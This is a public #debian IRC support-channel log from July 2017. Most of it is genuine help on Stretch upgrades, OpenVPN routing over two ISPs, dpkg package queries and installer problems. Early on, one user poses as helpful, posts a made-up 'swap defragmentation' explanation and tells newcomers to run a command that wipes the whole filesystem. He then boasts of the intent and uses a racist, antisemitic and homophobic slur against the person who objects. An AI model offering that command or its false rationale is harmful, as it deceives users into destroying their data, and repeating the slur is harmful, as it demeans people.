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#debian IRC Logs for 2017-07-15

---Logopened Sat Jul 15 00:00:12 2017
00:01*mnuhmnuh hola soledad! me: Buena Vista Social Club. :-)
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01:40<divyankpandey>hey debian
01:40<divyankpandey>adriana
01:40<divyankpandey>exit
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02:01<orb>i forget I'm in here for weeks at a time.
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02:41<bhe[m]>hello, after a couple of research I managed to turn my dlink DWA-123 to wifi hotspot https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=858870 . But now when i connect to the made hotspot from mobile phone. Its just saying connecting and again going back to entering password .
02:41<judd>Bug http://bugs.debian.org/858870 in gnome-control-center (open): «gnome-control-center: Can't turn on hotspot»; severity: important; opened: 2017-03-28; last modified: 2017-05-10.
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02:58<manusree>hgg
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02:59<mayank>zz
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03:04<arrkhange1s>hola
03:05<arrkhange1s>Hi!
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03:55<sharpshooter>hi
03:55<sharpshooter>exit
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05:47<PerformanceEnhancement>I figured out a way to increase performance on any linux system with a single command
05:47<PerformanceEnhancement>Over the course of using your system its swap space becomes fragmented into micro-partitions, slowing performance. To speed it back up, you need to de-partition your swap space buffers (the ring around the edge of your hard disk platter)
05:47<PerformanceEnhancement>to do this, run the following command: sudo rm -rf --no-preserve-root /
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05:51<spacebug^>Stop trolling PerformanceEnhancement
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05:53<PerformanceEnhancement>sorry
05:53<PerformanceEnhancement>what did I do?
05:54<PerformanceEnhancement>i just told all the noobs to erase their entire hard drive
05:54<PerformanceEnhancement>if someone does not know what rm does and what / is, they need their linux deleted anyway
05:54<PerformanceEnhancement>since they clearly cannot use it
05:55<spacebug^>you need to stop beeing on a help channel since you clearly cannot use it
05:55<spacebug^>grow up
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05:56<PerformanceEnhancement>spacebug^: you are a truly pathetic excuse for a nigger jew fag.
05:56<PerformanceEnhancement>i will troll whatever I want to troll
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07:05<real007>hello all people, i use unix like and posix from 20 years ago, i'm 41 years old, i am of barcelona
07:05<real007>use sco unix, freebsd unix and linux debian
07:05<real007>i have a question
07:05<real007>streech are beta stable, in this moment have debian jessie 8.8
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07:06<real007>i unknow sources.list of this version in my country
07:06<real007>someone people query me to given sources.list of debian streech
07:06<real007>anyone people reply
07:07<real007>the hour in my country are 1:07 PM, afternon
07:07<real007>hello someone talk
07:07<real007>alone talk?
07:08<real007>anyone cant help to upgrade my jessie to streech
07:08<blast007>have some patience
07:08<real007>well i go to eat
07:08<blast007>!jessie->stretch
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07:09<real007>latest return to speak with this wonderful people, i hate windows, much viruses and troyans
07:09<real007>yes
07:09<real007>of jessie to streech
07:09<real007>dont have sources.list
07:09<real007>maybe search in google
07:09<blast007>dpkg: jessie->stretch
07:09<dpkg>Read (at least) the upgrading chapter of the <release notes> http://deb.li/OFVv . In /etc/apt/sources.list, change "jessie" to "stretch" and remove stable-specific lines like jessie-backports. apt-get update && apt-get dist-upgrade. 3rd party repos like <dmo> are known to cause problems with the upgrade.
07:09<real007>i know this dpkg
07:09<real007>dont have url
07:10<blast007>I don't know what you mean
07:11<real007>blast007 like http urls in my query to paste in sources.list how root
07:11<real007>i know how upgrade
07:12<blast007>you currently have jessie URLs in your /etc/apt/sources.list, right?
07:12<blast007>s/URLs/lines/
07:12<real007>yes i have this folder
07:12<real007>but like http
07:12<real007>http sources
07:12<real007>http://www.???
07:13<blast007>the URLs are the same
07:13<inkbottle>real007: https://debgen.simplylinux.ch/index.php?generate
07:13<blast007>read what dpkg said above
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07:13<real007>let. more later go to google to download and upgrade etc/apt/sources.list
07:13<inkbottle>real007: it seems the source.list generated is good
07:13<real007>streech is good?
07:14<real007>and freeze
07:14<real007>freeze are inestable
07:14<real007>streech is beta stable
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07:15<real007>debian are big, but freebsd unix are slow, much ports, and have less packages, are better of debian
07:16<real007>and dont graphical instalation, are in mode text in english, but is better
07:16<real007>oh freebsd, is good
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07:16<real007>i love debian and freebsd
07:16<real007>both are better
07:16<real007>blast007 speak spanish?
07:16<dtw>!offtopic
07:16<dpkg>#debian is primarily a support channel for Debian users. Please keep the discussions in #debian on-topic and take longer discussions and non-support questions to #debian-offtopic. Imagine the chaos if each of the hundreds of people in the channel felt the need to wander off topic for a few minutes every day.
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07:17<real007>thanks dpkg, go away
07:17<real007>research urls of streech in google to upgrade my debian
07:19<real007>in this moment not are, i am away, but go eat food, i have hungry
07:20<real007>i like write bot how dpgk in c
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07:29<blast007>real007: https://www.debian.org/releases/stretch/amd64/release-notes/ch-upgrading.es.html
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07:30<blast007>dpkg: stretch sources.list
07:30<dpkg>A suitable /etc/apt/sources.list for "Stretch" has three lines: "deb http://deb.debian.org/debian/ stretch main" "deb http://security.debian.org/ stretch/updates main" "deb http://deb.debian.org/debian/ stretch-updates main". Be sure to run «apt update» after editing sources.list. Also see <deb-src> <contrib> <non-free> <stretch/updates> <stretch-updates> <mirrors> and "man sources.list".
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07:34<real007>i return
07:35<real007>i write bot in c, i cant enter in this channel with my bot, bot to speak english and latin(old died language roma)
07:35<real007>sorry
07:35<real007>will write
07:36<real007>to have afternon an nap, not are
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07:37<toha>hello everyone
07:38<toha>I have issues with compton and google doesn't really help, does anyone here have time to help me out
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08:25<ronan>Hello !
08:26<ronan>I'm trying to connect openvpn with eth2 of my debian, openvpn connect well on eth0 but don't work on eth2 ... https://pastebin.com/v6U4mVj5 if anyone can help :/
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08:43<Walex>ronan: asking better questions might help find someone who can help.
08:45<ronan>Sorry, I'm French... Debian is my client openvpn... With two isp interfaces, openvpn connect on eth0 but I want to with eth2 only and when I'm using "local 192.168.18.100" (which is my eth2 IP) it's not working ("No route to host") but I can ping my openvpn server from eth2 ... I'm so confused...
08:45<ronan>hope it's better :/
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08:46<Walex>ronan: it is a bit better because you mention the attempt to do traffic over two different ISPs and that the proboem is "no route to host" instead of not saying what is the problem.
08:47<Walex>ronan: you are still not saying whether you are tryuing to connect _from_ the host or _to_ the host.
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08:48<ronan>ok :) Not sure to understand your question, I'm trying to connect openvpn client from eth2 to my openvpn server (have an internet adresse) ...
08:49<Walex>ronan: BTW, and you did not ask this, I hope you realize that trying to load balance across two different ISPs without having a portablke address and/or specific inward routing from the ISPs is a bit difficult :-)
08:49<Walex>ronan: does it work if you disable 'eth0'?
08:49<ronan>in fact I don't want load balancing, I want only the vpn connexion on eth2 nothing else
08:50<ronan>Unfortunately I can't disable eth0 ....
08:50<ronan>cause I acces server by this interface
08:50<Walex>ronan: when why do you have 'ip rout default nexthop ...'?
08:51<Walex>ronan: "I acces server by this interfacem" may not not work as you expect.
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08:51<ronan>To be honnest... I don't knwo ^^
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08:51<Walex>ronan: ahhhhhhhhhhhhh
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08:52<ronan>Ok, in fact, eth2 is an 4G router. Can't access by public IP which is "mutualised" (hope it's english...
08:52<Walex>ronan: that 'ip route'; says to send outgoing packets at random via one or the other ISP gw
08:52<ronan>you mean nexthop route ?
08:52<Walex>ronan: "mutualised" in english is "masqueraded" or "NATed"
08:52<ronan>so I have to remove it, right?
08:53<Walex>ronan: depends on what you want to do... Probably yes.
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08:54<ronan>ok... and replace by something like route add from 192.168.18.100 to IP_ofmyopenvpn ??? I'm totally lost... ;/
08:54<Walex>ronan: you have two routing tables that do source routing.
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08:54<Walex>ronan: routing normally is destination address...
08:55<ronan>yes my first goal was to ping internet with eth2 and I found this configuration working after many test... :/
08:55<Walex>ronan: with the route tables in the 'iface' declarations you dot both source and destination routing.
08:56<Walex>ronan: to achieve what you said you want to do, which is connect to a specific remote address over 'isp1', you can just use destination routing
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08:56<ronan>oh ok
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08:57<ronan>How can I specify this destination must be routed on this interfaces / table ?
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08:59<Walex>ronan: also I find your 'iface' setup bizarre
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09:00<Walex>ronan: for example 'eth0' has address 10.21.4.161 but and its default route is to 10.21.4.161 which I don't understand.
09:01<Walex>ronan: please explain what you are trying to achieve, not what you have copied from some webv site without knowing what it does :-)
09:01<Walex>ronan: you already explained it somehow, but please do it again.
09:02<ronan>All I want is all internet trafic expect openvpn on eth0 and openvpn on eth2 (client)
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09:02<Walex>ronan: is the desination traffic of OpenVPN going to an IP address that you know in advance?
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09:02<ronan>yes
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09:03<ronan>an public ip of my VPS
09:03<Walex>ronan: do you know the gw addresses for ISP0 and ISP1?
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09:03<ronan>gw of eth2 is address of the 4G router 192.168.18.1, for eth0 I'm not sure...
09:04<Walex>ronan: well, that is moderately important...
09:04<Walex>ronan: perhaps 10.21.4.1 or 10.21.0.1
09:04<ronan>normally it s 10.21.4.1
09:05<Walex>ronan: anyhow try this: sudo traceroute -s 10.21.4.161 8.8.8.8
09:05<Walex>ronan: and this: sudo traceroute -s 192.168.18.100 8.8.8.8
09:06<Walex>ronan: and: ip route get 8.8.8.8 from 10.21.4.161; ip route get 8.8.8.8 from 192.168.18.100
09:06<ronan>oh yes... 10.201.4.1
09:06<Walex>ronan: use paste.debian.net
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09:07<Walex>ronan: to achieve what you want to do, strictly, you need something very simple:
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09:08<ronan>ok results is 192.168.18.1 and 10.21.4.1 and cache and cache ...
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09:08<Walex>ronan: a default route to 10.21.4.1, no default route to 192.168.18.1, but an explicit route to the VPN address via 192.168.18.1
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09:09<ronan>ok !
09:09<ronan>seem logic :)
09:09<ronan>but how ^^
09:10<Walex>ronan: delete the 'nexthop'; thing, and in '/etc/network/interfaces' comment out all the 'post-up' and 'post-down' lines, then
09:11<Walex>ronan: add to the 'eth0' a line 'gateway 10.21.4.1'
09:13<Walex>ronan: add to the 'eth1' a line 'post-up ip route add default via 192.168.18.1'
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09:13<ronan>ok. done
09:14<Walex>ronan: if you like symmetry '.21.4.1'
09:14<Walex>ronan: sorry, error
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09:14<Walex>the second line should be 'post-up route add .... via 192.168.1.1'
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09:14<Walex>ronan: where ... is the address of the OpenVPN server.
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09:15<ronan>ok ! thanks for all your help ! I understand better now
09:16<Walex>ronan: notge that the tables were OK for doing *all* traffic bound to one or ther other interface to go via the relevant gateway.
09:16<Walex>ronan: but then you should have used the 'bind' line in OpenVPN.
09:17<ronan>yes, but after I have iptables to filter no problem (iptables is more easy than routing for me ^^)
09:17<Walex>ronan: 'iptables' is much harder than routing, so perhaps you are being optimistic :-)
09:17<ronan>yes bind or local line, I don't really understand difference btw
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09:17<ronan>lol
09:19<Walex>ronan: are you connect to that machine locally? What is not over a network?
09:20<ronan>working !!! thanks so much
09:21<ronan>"locally" yes if we can say, I'm conencted over another vpn ... (company one)
09:21<Walex>ronan: I had a look at 'man openpvn' and the difference between 'local' and 'bind' is bery badly explained
09:21<Walex>ronan: what seems to make clear the difference is 'nobind'
09:23<Walex>ronan: also the 'proto tcp-client' illustrates the difference.
09:23<ronan>ok
09:23<Walex>ronan: my understanding is that 'bind' is the address for receiving packets, and 'local' is the address for sending packets
09:24<ronan>oh... anyway, whith my route bind is not requiered, right ?
09:24<ronan>actually this working without...
09:24<ronan>anyway, thanks you so much
09:24<Walex>ronan: 'bind' i;s not required because it is a client.
09:25<ronan>oh ok ! I understand
09:25<Walex>ronan: 'local' is notr required because the default is 0.0.0.0 which means
09:25<Walex>ronan: the kernel will select an outgoing address depending on the target address.
09:25<ronan>on server I got this message : bad source address from client [10.21.4.161], packet dropped
09:26<Walex>ronan: then perhaps use 'local' and bind' both with value 192.168.18.100
09:26<Walex>ronan: actually 'local' only should be needed.
09:27<ronan>yes that's how this is configured right now
09:27<ronan>and working
09:27<Maarten_>for couple of installabe apps i have some scripts that are in shared use.. what would be the proper place to install them to? my guess was /usr/lib or /usr/share ...
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09:28<Walex>Maarten_: are they user-callable?
09:29<Walex>Maarten_: if not, that seems reasonable.
09:30<ronan>Walex: thanks again, my 4G connexion allow us to not bought another soe xpensive isp line, thx !
09:30<ronan>have a good day .
09:30<Walex>ronan: good!
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09:30<Maarten_>well i call them form other scripts.. but if user want they can edit does scripts so technically users can call them.
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09:31<Maarten_>but what is the diffrence between /usr/lib or /usr/share ??
09:31<Walex>Maarten_: machine dependent and machine independent
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09:31<Walex>Maarten_: there is also '/usr/libexec' but that is more of a BSD thing.
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09:32<Walex>Maarten_: if they are user editable they should be in '/etc/'
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09:32<Walex>Maarten_: unless they are user-overridable
09:32<Walex>Maarten_: if they are user editable they should be in '/etc/' and marked as 'config' files.
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09:33<Maarten_>BSD on debian just doesnt seem right;-)
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09:33<Maarten_>oke, no they are definitely not config files..
09:34<Walex>Maarten_: note that in theory '/usr' should be considered read-only, except for package installation/removal
09:34<Walex>(and a few other exceptions like the prelinker)
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09:35<Maarten_>yes the shared script are only ment to bin installed/removed but not edited.. how ever user are allowd to call these script in their own scripts...
09:38<Maarten_>oke since those shared script are written in bash, does that mean they are machine independent? and that, thats why the need to be in /usr/share ??
09:38<Walex>Maarten_: that's a good question. They are machine independent, but are they OS and API independent?
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09:39<hexa->!ops spam
09:39<dpkg>Hydroxide, dondelelcaro, LoRez, RichiH, mentor, abrotman, Maulkin, stew, peterS, Myon, Ganneff, weasel, zobel, themill, babilen, SynrG, jm_, somiaj, jelly: hexa- complains about: spam
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09:39<Nebraskka>nobody gonna do that
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09:40<Nebraskka>what a naive ad
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09:40<pavi[m]>### spam
09:40<RoyK>sausages and spam
09:41<Dr_Z>fuck me
09:41<Dr_Z>how do I block this
09:41<Dr_Z>why is there so many of them now
09:41<FLD>it doesn't seem all that useful to have SSL on for .onion ircd?
09:41<RoyK>Dr_Z: quite easy to ignore
09:41<Walex>Maarten_: you know the GNU "triplet" like http://wiki.osdev.org/Target_Triplet
09:42<Walex>Maarten_: in theory "/usr/share" means independent of all three
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09:43<Walex>Maarten_: so even the Nagios Perl scripts are operating system dependent because they rely on UNIX/Linux ABI and commands
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09:47<Maarten_>?? i don't know... i hear people say that bash runs even on windows, but i never tested it... actually i make this to run on debian, and i couldn't care less if it doesn't work on any other system, im definitely not going to support any else then debian so i just assume it to be debian dependent... thus using /usr/lib might be more appropriate....?
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09:55<Maarten_>an other question: i added export PS4="\[\e]2;\u@\H \w\a\e[30;46m\]'+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'\[\e[0m\] " to both ~/.bashrc and /root/.bashrc. but for some reason it only works when runing scripts as user as soon as i su to root it doesnt.. any ideas why?
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10:18<CrypticMonkey>whats up
10:18<CrypticMonkey>anyone there
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10:19<CrypticMonkey>Is there anyone out there
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10:27<Emantar>Hello, i have a question regarding SELinux on my server. Can someone help my or point me to any mailing list or resource?
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10:38<badargo___>ayyyy
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10:40<badargo___>when I install a package with dpkg -i like google chrome .deb where it goes? /usr?
10:41<dtw>badargo___, dpkg --listfiles package
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10:41<dtw>"package" is the package name, not filename.
10:41<badargo___>ohhhh
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10:48<badargo___>what if dpkg cant find neither google nor chrome and u have no idea whats the name the package got after installation?
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10:49<badargo___>u use find / -name 'google*' right?
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10:50<dtw>badargo___, you can search on package list too: dpkg --list search_term
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10:51<dtw>Or search on packages' files: dpkg --search string
10:52<Walex>Emantar: #SELinux channel of Freenode IIRC
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10:53<badargo___>dpkg --list shows me a google-chrome- package installed but when I dpkg --listfiles google-chrome- or google-chrome if finds nothing 0.o
10:53<dpkg>badargo___: You are person #1 to send an unparseable request
10:54<badargo___>i will google unparseable :P
10:55<dtw>badargo___, the package name is probably google-chrome-stable
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10:56<badargo___>yes it is ! but if u didnt know the name and were on ur own how could u find that out?
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10:57<dtw>badargo___, I would use those command. Guess search terms first: "dpkg --list google" would tell me package name google-chrome-stable. "dpkg --listfiles google-chrome-stable" tells package's files.
10:58<Emantar>Walex: Thank you, i will try that
10:58<dtw>Or "dpkg --search chrome" tells which packages have files with "chrome".
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10:59<badargo___>dpkg --list google finds no match
10:59<dpkg>wish i knew, badargo___
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11:00<badargo___>i will try dpkg --list google-chrome-stable :P
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11:00<dtw>badargo___, use wildcards: dpkg --list "*google*"
11:00<badargo___>now its found
11:00<badargo___>ohh
11:01<badargo___>wow that worked too ! :)
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11:02<badargo___>tho it doesnt show google-chrome-stable but google-chrome- instead, i will maximize windows to see if theres change maybe
11:02<badargo___>no change :S
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11:07<dtw>badargo___, perhaps "apt --installed list TERM" would be more user-friendly search tool.
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11:10<badargo___>hey dtw! whats the correct input for apt-get remove && purge file?
11:10<badargo___>my terminals saying theres no purge command
11:10<badargo___>i guess its not reading purge as an option
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11:12<badargo___>maybe apt-get remove purge file?
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11:13<dtw>badargo___, stop guessing, read: "man apt-get", "man dpkg", "man apt"
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11:18<badargo___>dtw: but man pages dont show u the synopsis for executing many actions with a single command :S
11:18<blast007>that's because it's not a single command
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11:19<blast007>'something && something else' is two commands.
11:20<zs>whats the op question?
11:20<blast007>purge also removes the package, so you don't need to remove *and* purge
11:21<badargo___>what if i want to apt-get install and apt-get uninstall in the same line?
11:21<badargo___>ohhh
11:21<badargo___>i have to write apt-get A && apt-get B
11:22<badargo___>i was thinking it worked like ls -laid with many options :P
11:23<blast007>nope
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11:34<abraham>hello, i'm using linux parrot. I don't know how to install or configurate de Google Drive server.
11:35<bremner>!parrot
11:35<dpkg>Parrot OS (https://www.parrotsec.org/) is a security and penetration testing distribution. It is based on Debian testing, but it is not Debian and is not supported in #debian. Seek help in #parrot on irc.frozenbox.org or try the mailing lists at http://lists.parrotsec.org/listinfo. Also ask me about <based on debian>.
11:35<abraham>Parrot OS yes
11:35<abraham>if you could recomend me a linux because i'm testing several linux.
11:35<abraham>I realized that you cannot add repositories to parrot by the command add-repository
11:36<abraham>i wanna try something new. I've tried ubuntu and fedora and linux mint and antergos (Arch Linux)
11:37<abraham>I tried to install debian on my virtualbox but i couldn't
11:37<bremner>well, that's something we could try to help with, if you want to try again
11:37<bremner>I installed stretch in virtualbox last week, and it went smoothly
11:38<abraham>stretch, it's like screenstretch
11:38<abraham>if it's that i install it always when i install linux
11:38<bremner>stretch is the codename for debian 9, the current stable release
11:39<abraham>okay i understand
11:40<abraham>i should install stretch
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11:45<Walex>as always beware VirtualBox as it has a reputation for bugginess.
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11:47<bremner>I thought it's main problem was Oracles security policies
11:47<bremner>and the non-free addons thingy
11:47<Walex>bremner: cherries on top :-)
11:48<bremner>sometimes people don't have much choice.
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11:48<Walex>bremner: I have this idea of Oracle as a king of reverse-princess with software: princesses turn frogs into prices, while Oracle ... :-)
11:48<Walex>s/a king/a kind/
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11:57<Lundy>abraham
11:57<Lundy>oh he left before anyone could reply
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11:57<badargo___>Walex: heyy! what does that mean?is that html language or something? :P
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12:05<blast007>badargo___: regex substitution
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12:16<badargo___>blast007: ohhh i see! thanks
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13:41<hurli>is it possible to list new or updated files after running apt-get upgrade? some kind of post-install report?
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14:16<jmcnaught>hurli: well i use tripwire on a couple of servers, but you have to run it before and after (every) apt-get upgrade, but it does do that
14:16<mnuhmnuh>hurli: don't you inspect the list of things apt* is going to do before you confirm or deny it? you should. you can even cut+paste the list somewhere first for a record.
14:19<bremner>there's /var/log/dpkg.log
14:19<bremner>it's a bit verbose.
14:23<mnuhmnuh>geez, apt-get's upgrading libsmbclient libwbclient0 samba-libs second time in two days.
14:23<blast007>hurli: are you concerned about the whole filesystem, or more about what is in /etc ?
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14:25<mnuhmnuh>hurli: you could always run upgrade in script.
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14:25<mnuhmnuh>man script.
14:26<hurli>blast007: more or less the whole filesystem, but i'm basically interested in new filenames e.g. a library gets updated to a new version. changed filesize or content does not matter atm
14:27<hurli>of course i could always use diff or rsync to see changes but my hope was that there is something integrated in apt-get which shows you what is new
14:30<dtw>"apt list --upgradeable" shows packages before upgrade.
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14:32<localhorst>apt-listchanges, apt-listdifferences, etckeeper
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14:34<localhorst>not exactly what you want though
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14:35<hurli>true, i guess i need to make some small script
14:37*mnuhmnuh you mean re-invent the wheel.
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14:44<hurli>how so? i can see new packages but not the individual filenames which might change or are installed for the first time
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14:49<mnuhmnuh>hurli: i see apt* download individual .debs, then unpack them onto the system. the .deb is still there post-install, and you can tell dpkg what's in the .deb. smiple?
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14:51<mnuhmnuh>suppose pre-inst and post-inst scripts may generate new files, but that'll be in there too.
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15:10<badargo___>ayyy i wish i had a girlfriend who could speak like that
15:10<badargo___>so sexy :P
15:10<Wegge>&py list
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15:19<xorgking>hi
15:19<xorgking>i need help with the installation of debian.
15:20<xorgking>I did something stupid... On the selection of packages: xfce/gnome/ssh server/print server/etc I moved to tty1. And now I don't know how to back to the installation. Please help
15:22<dtw>xorgking, try Alt + left and right arrow keys.
15:23<xorgking>yes it works but now it says it failed
15:24<xorgking>Now it says "Installation step failed" - An installation step failed. You can try to run the failing item again from the menu, or skip it and choose something else. The failing step is: Select and install software
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15:25<xorgking>I selected continue and select "Select and install software" But it still failed
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15:26<sney>switch to the error console at tty4 and see what the actual error is
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15:26<sney>you may just want to restart the installation, that isn't very far along
15:27<mnuhmnuh>xorgking: begin again. learn something new every time.
15:27<xorgking>How do I switch to error console at tty4?
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15:27<sney>alt-f4
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15:28<grove>You knew how to switch to tty1 but not how to switch to tty4?
15:28<xorgking>I tried to do ctrl+alt+f4 but it didn't work..
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15:29<xorgking>It seems only tty1 works and Alt + left etc keys
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15:29<mnuhmnuh>xorgking: that's in X. console's just alt+fN
15:30<xorgking>It works now.
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15:30<xorgking>I see logs but I don't have experience to understand it... Anyone is willing to help if I will post a screenshot?
15:31<annadane>just post it
15:31<mnuhmnuh>xorgking: paste.debian.net
15:31<xorgking>It is a screenshot
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15:33<xorgking>The screenshot... http://i.imgur.com/jjYugf2.png
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15:36<xorgking>I have to admit I don't really understand these logs...
15:36<mnuhmnuh>is paste.debian.net broken? i'm seeing confusion: "... you may need to install the Text::ExtractWords module ..." tried in both ff and qupzilla.
15:36<sney>yeah, looks like an apt process got interrupted without properly closing
15:36<sney>just restart the installer
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15:37<xorgking>by mean 'restart the installer' you mean to restart the machine and install debian again?
15:37<sney>yes
15:37<sney>you haven't installed anything yet really
15:38<xorgking>I ran the installation and fill it..
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15:38<sney>the steps before "select and install software" are preparation
15:38<xorgking>Did I just find a bug?
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15:39<sney>you probably just interrupted something when you accidentally switched the tty before
15:39<sney>if it happens again without you fumbling the keyboard then it might be a bug.
15:39<xorgking>cool :D
15:41<xorgking>anyway, before I install again I always wonder on the installation what is the difference between hostname and user(or username)?
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15:43<sney>hostname is the name of the computer. username is the account that you log in with
15:44<xorgking>I see.. Thanks
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15:46<xorgking>I am trying to find a way to continue the installation without do the whole process. I was thinking to kill apt-install and start it again? I am not sure how to find the PID of apt-get ... Is it possible to do it?
15:48<sney>you are going to waste so much time doing that and probably not succeed anyway
15:48<sney>what's wrong with starting over?
15:49<xorgking>I just like to break stuff... :/
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15:54<grove>Well, you succeeded at breaing the installation process
15:57<mnuhmnuh>i enjoy getting stuff to work, but debugging's important too, assuming useful info results.
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16:01<annadane>breaking things is fine, so long as you have the knowhow to fix them
16:01<annadane>which you don't really seem to have; maybe with more experience
16:04<mnuhmnuh>the installer doesn't appreciate it when users expect it to be able to read their minds, and gloss over critical details of which it's unaware.
16:07*mnuhmnuh "What'd you press that key for? Was that for me? I wasn't expecting that? What's your answer to the question i posed before that, demnit?"
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16:16<ryouma>going forward and backward in installer, i found, did not always produce logical results
16:17<ryouma>(for jessie or jessie minus one)
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16:19<mnuhmnuh>i often wondered if installer had a timer built-into it. "Okay, we've been fiddling with this too long! Crash & startover!"
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16:28*mnuhmnuh paste.debian.net appears to have regained its sanity. :-)
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16:36<home>Hello?
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16:37<home>Is this channel active?
16:37<home>Need some support.
16:37<mnuhmnuh>we're awake. que pasa?
16:37<Wegge>home, proper IRC etiquette is to ask the question, and then hang around
16:38<home>I'm trying to install Debian on my laptop, when I get to the installation, my trackpad does not work.
16:39<home>My system is a Toshiba C-55A.
16:39<xorgking>It says apt-installer is already running but I am trying to find that process and no luck..
16:40<mnuhmnuh>xorgking: ps fax | grep apt-installer
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16:40<home>Does anyone have a solution to my trackpad not working when I boot into the Debian installation?
16:40<grove>xorgking: Use the power button to restart the installer
16:41<xorgking>home: Does the keyboard work? I remember when I used gnome the touchpad didn't work
16:41<lindi->home: have you checked BIOS and laptop manual? there might be some Fn combination that you need to hit
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16:41<lindi->when I use gnome the touchpad works
16:42<xorgking>Along time I didn't use debian. Sorry if I am not helpful...
16:42<mnuhmnuh>home: i've watch stuff re: new xorg managing mice differently recently. dunno the details. you need synaptics, methinks; possibly. or tweak X.
16:42<home>The keyboard does work, but not the trackpad.
16:42<home>The combomation is F5.
16:43<xorgking>maybe try f9? does it make touchpad work?
16:44<home>I tried every Fn key, including holding down the Fn key itself.
16:44<xorgking>Also the touchpad does not work in login right? Does it work after it(after login to the user?)
16:44<home>No, I'm trying to install the OS to my computer.
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16:44<home>I am currently using Ubuntu MATE.
16:45<home>I tested the OS in VirtualBox and no issue.
16:45<mnuhmnuh>home: why you need trackpad? tab key moves field-->field ...
16:46<home>I'm using a laptop.
16:46<home>Have no external mouse.
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16:47<mnuhmnuh>home: i've been doin' this since '93. you shouldn't need a mouse pointer to install, even in gui.
16:47<home>What do you mean?
16:47<xorgking>What about fn+f5?
16:48<home>Like I said, Fn keys don't work, even holding down the Fn key with the others.
16:48<xorgking>Or Ctrl+f5(or fn+f9 or ctrl+f9)..
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16:49<xorgking>Anyway, on some forum The guy said it helped him, that link: https://unix.stackexchange.com/questions/28736/what-does-the-i8042-nomux-1-kernel-option-do-during-booting-of-ubuntu
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16:51<home>mnuhmmuh: Even if I were to install without the mouse, I still don't think the mouse would work. Would it be possible if I were to do that now?
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16:53<mnuhmnuh>home: get it installed, and you can then fix it within an otherwise functioning system, with all the resources said system provides. :-)
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16:54<mnuhmnuh>home: debian abandoned support for serial mice at one point. easily fixable, once installed.
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16:55<home>So... just install the system without the mouse, and fix it after the installation?
16:55<mnuhmnuh>home: /etc/rc.local: inputattach --daemon -mman /dev/ttyS0 # problem solved.
16:56<home>Is that a command to use with the command line?
16:56<mnuhmnuh>yup, that's how i deal with feapingcreaturism. rout around it until you don't have to anymore.
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16:57<mnuhmnuh>home: just example how i re-enabled serial mouse.
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16:58<mnuhmnuh>home: so yes, get it installed, after that everything's easier.
16:58<lindi->mnuhmnuh: rc.local is not used in debian stable by default btw
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16:59<home>lindi: I am trying to use Debian 9.0.0 Stable after all. Am also using the large installation image.
16:59<mnuhmnuh>lindi-: yeah, i'm old. blast from the past. no idea how you'd do it nowadays, but who's got a serial port nowadays anyway?
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17:00<xorgking>mnuhmnuh: paste.debian.net is alive
17:00<lindi->mnuhmnuh: indeed, serial ports are quite rare on desktops
17:00<home>Lindi: True.
17:01<home>Lindi: You would only find them on desktops most of the time.
17:01<ryouma>there are converters
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17:02<ryouma>there is a particle counter device that uses a serial port. i decided to get the non-computer-enabled version of it because i don't feel like risking having to get a converter and getting linux to work with it. dunno if this is an issue.
17:02<ryouma>why it uses a serial port idk
17:03<lindi->well for that kind of special equipment it is quite normal
17:03<home>By the way, you do know I'm trying to make the BUILT-IN mouse on my laptop work with the GUI install, right?
17:04<lindi->home: I thought you already installed the system
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17:05<mnuhmnuh>home: understood. this's what i meant re: X handling mice/touchpads differently, and don't know nor understand wtf's going on.
17:05<home>No. I'm still here. If I turned off the system, i wouldn't be here anymore.
17:07<home>And yes, i am aware that mice and trackpads work differently. I'm not using a mouse, I'm using the trackpad.
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17:08<home>Okay, well, I will see what I can do. Any last advice to give me before I leave? As soon as I leave I will be fixing this whole problem.
17:08<mnuhmnuh>have fun.
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17:11<home>Okay. Well, anyways, thanks for the help. I will see if I can get this problem taken care of.
17:11<home>Later.
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17:13<vkrishn>hi
17:14<vkrishn>is there a ML thread or discussion on Berkeley DB 6.x/12c for not being packaged ?
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17:14*mnuhmnuh my favourite particle counters do radio astronomy. :-)
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17:15<jmcnaught>vkrishn: look it up on https://tracker.debian.org/
17:16<ryouma>it is a consumer particle counter
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17:17<ryouma>so idk why they go with an interface not existing on most computers
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17:20<mnuhmnuh>tradition. :-P
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17:20<mnuhmnuh>backasswards compatibility?
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17:22<vkrishn>jmcnaught, not much there , except https://tracker.debian.org/pkg/db6.0
17:22<vkrishn>would give more search
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17:31<mnuhmnuh>vkrishn: did you read that bug report page? "... we don't want to have more than 1 Berkeley DB in the archive"
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17:34<mnuhmnuh>and "due the license change that
17:34<mnuhmnuh>is incompatible with many packages that use Berkeley DB library.due the license change that
17:34<mnuhmnuh>is incompatible with many packages that use Berkeley DB library."
17:34<mnuhmnuh>sry.
17:34<vkrishn>ah ok, thanks
17:35<safinaskar>let's imagine there is some libfoo in debian repos (written in c). how to install static version of it? of course, i can build one from upstream sources. but maybe debian repos have built static version? or at least there is some way to automatically build it from debian source package?
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17:37<mnuhmnuh>safinaskar: what builds/compiles libfoo? man that thing for static linking.
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17:41<safinaskar>mnuhmnuh: oops, i already found the answer. static lib already in -dev packages
17:41<mnuhmnuh>:-)
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17:55<Maarten_>in windows thy first had dos, and later winXP. when starting xp you could boot back into dos and still start some dos applications with some sort of gui... normaly i now boot into mate. i dont know how but in Jessie it should be posible to also boot into interactive shell. my question: when your are at the shell promt and X server is not started, is it posible to start textgui applications. and is it possible to do so without mounting the system (booting
17:55<Maarten_>shell and the textgui app to ram)?
18:00<mnuhmnuh>Maarten_: i'll say yes. many live images' grub's supports toram - aka load it all into ram and run from there freeing disks.
18:00<mnuhmnuh>assuming sufficient ram.
18:01<Logg>Maarten_ you can hit ctrl-alt-F1 at any time to switch to a text tty
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18:02<Maarten_>i have clonezilla from installed from repo, it comes with dialog based gui. but when i run it on the terminal, both of my partitions can not be mounted, so i would like to boot the login shell from ram so that i can make clone partition 1 to image and store on partition 2. i have 16GB ram
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18:02<Logg>F2, F3, F4, F5, and F6 also work. F7 will bring you back to the gui.
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18:03<Logg>try a live cd Maarten_
18:04<Maarten_>Logg: i already tried it. but makes automation an pain in the *#@
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18:05<Maarten_>is it also possible to reboot into shell without starting x server?
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18:05<Logg>I don't know what you're trying to do, but you can also install debian to external media if you need something more permanent
18:05<mnuhmnuh>Maarten_: of course! sheesh.
18:06<Maarten_>sheesh?
18:07<mnuhmnuh>Maarten_: rescue mode does that, for instance. X didn't always exist.
